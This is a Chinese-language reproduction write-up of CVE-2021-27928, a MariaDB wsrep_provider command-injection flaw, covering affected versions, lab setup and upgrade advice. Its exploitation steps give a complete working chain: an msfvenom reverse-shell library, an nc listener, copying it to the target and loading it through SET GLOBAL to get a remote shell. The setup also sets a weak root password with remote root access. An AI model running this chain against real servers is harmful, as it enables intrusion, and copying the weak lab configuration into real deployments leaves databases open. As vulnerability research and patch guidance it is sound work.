CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入

2021-04-16 17:49:39 浏览数 (1)

影响范围

  • MariaDB 10.2 before 10.2.37
  • MariaDB 10.3 before 10.3.28
  • MariaDB 10.4 before 10.4.18
  • MariaDB 10.5 before 10.5.9

漏洞类型

命令注入漏洞

利用条件

影响范围应用

漏洞概述

2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notify_cmd后执行OS命令。

漏洞复现

环境搭建

首先,访问Mariadb官方下载存在漏洞版本的安装包:

https://downloads.mariadb.org/mariadb/10.3.27/

之后将下载好的文件传到服务器上:

在安装包所在目录执行以下命令把安装包解压到/usr/local目录下

代码语言:javascript复制
sudo tar xvf mariadb-10.3.27-linux-x86_64.tar.gz -C /usr/local

之后进入到解压文件目录中

这里的mariadb的目录名不符合要求,我们可以直接修改名字,也可以创建一个软连接,这里采用软连接方式:

代码语言:javascript复制
sudo ln -s mariadb-10.3.27-linux-x86_64/ mysql

之后创建mysql用户

代码语言:javascript复制
删除用户:userdel mysql
删除用户组:groupdel mysql
删除邮箱:rm -rf /var/spool/mail/mysql
创建mysql用户组:useradd -s /sbin/nologin -M mysql

之后赋予用户权限:

代码语言:javascript复制
sudo chown -R mysql:mysql .

指定数据库文件目录

代码语言:javascript复制
sudo mkdir /usr/maria_data
sudo chown -R mysql:mysql /usr/maria_data

初始化数据库(操作路径/usr/local/mysql)

代码语言:javascript复制
sudo ./scripts/mysql_install_db --user=mysql --datadir=/usr/maria_data

配置启动脚本(操作路径/usr/local/mysql)

代码语言:javascript复制
cp ./support-files/mysql.server /etc/init.d/mysqld
chmod  x /etc/init.d/mysqld

编辑配置脚本,填写一下内容:

代码语言:javascript复制
basedir=/usr/local/mysql
datadir=/usr/maria_data

配置环境变量:

代码语言:javascript复制
echo 'export PATH=/usr/local/mysql/bin:$PATH' >  /etc/profile.d/mysql.sh
source /etc/profile.d/mysql.sh

进入/usr/local/mysql/support-files找到配置文件wsrep.cnf,添加如下内容

代码语言:javascript复制
log_bin=mysql-bin
skip_name_resolve=on

启动服务:

代码语言:javascript复制
sysv-rc-conf mysqld on

设置数据库密码以及允许远程登录

代码语言:javascript复制
#选择mysql 数据库
use mysql;

#更改 root 用户密码
update user set password=PASSWORD("root")where user="root";

#更新权限
flush privileges;

#设置任何远程主机都可以访问数据库
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

#更新权限
flush privileges;

测试远程访问:

漏洞利用

Step 1:使用MSF生成载荷

代码语言:javascript复制
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f elf-so -o CVE-2021-27928.so

Step 2:开启NC监听

代码语言:javascript复制
nc -lvp <port>
nc -lvp 4444

Step 3:将payload复制到目标主机(可以通过SCP或SSH方式)

代码语言:javascript复制
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
scp CVE-2021-27928.so ubuntu@192.168.174.166:/tmp/CVE-2021-27928.so

Step 4:执行以下命令,之后成功反弹shell回来:

代码语言:javascript复制
mysql -u root -p -h 192.168.174.166 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

安全建议

升级到安全版本

参考链接

https://www.exploit-db.com/exploits/49765

https://jira.mariadb.org/browse/MDEV-25179

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928

0 人点赞